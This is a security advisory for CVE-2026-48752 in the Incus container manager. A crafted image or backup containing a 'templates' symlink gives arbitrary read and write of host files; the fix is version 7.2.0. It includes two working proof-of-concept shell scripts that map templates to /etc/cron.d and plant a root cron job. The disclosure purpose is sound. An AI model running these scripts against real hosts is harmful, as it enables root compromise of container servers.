GITHUB.COM/LXC/INCUS/V7/CMD/INCUSD · CVE-2026-48752 · Runtime
FIX → 7.2.0
Incus, a container and virtual machine manager, can be tricked by a crafted container image or instance backup that contains a symlink named templates, letting it access arbitrary host directories. An attacker can read and write arbitrary files on the host, possibly leading to command execution as root, for example by planting a cron job.
first public Jun 26, 2026 · 1 source
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Hosts running incusd below 7.2.0 that import container images or instance backups from sources that are not fully trusted. An attacker who can supply such an image or backup to the server can reach files outside the container. Hosts that only use images from trusted sources are at lower risk but should still update.
Not affected if incus-patched-7.2.0, trusted-images-only
Who cares containers, cwe-73, incus, linux, self-hosted
incusd --version and compare it against the fixed release.incus image import or incus import.incus image import and incus import on the host.A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.
For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run as root.
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Upgrade to 7.2.0
7.2.0 (affected versions are earlier than 7.2.0).id#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
# read
#incus config template show afrw-image-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/backup"
cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__
mkdir "${tmpdir}/img/backup/container"
cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"
container:
name: afrw-backup-templates-symlink
architecture: x86_64
type: container
status: Stopped
status_code: 102
stateful: false
ephemeral: false
profiles:
- default
config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
expanded_config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
devices: {}
expanded_devices:
root:
path: /
pool: default
type: disk
created_at: "2024-01-01T00:00:00Z"
last_used_at: "2024-01-01T00:00:00Z"
volume:
name: afrw-backup-templates-symlink
type: container
content_type: filesystem
config: {}
pool:
name: default
driver: dir
config: {}
__EOF__
cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: afrw-backup-templates-symlink
__EOF__
mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink
incus config template ls afrw-backup-templates-symlink
# read
#incus config template show afrw-backup-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
#incus config template edit afrw-templates-symlink poc
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
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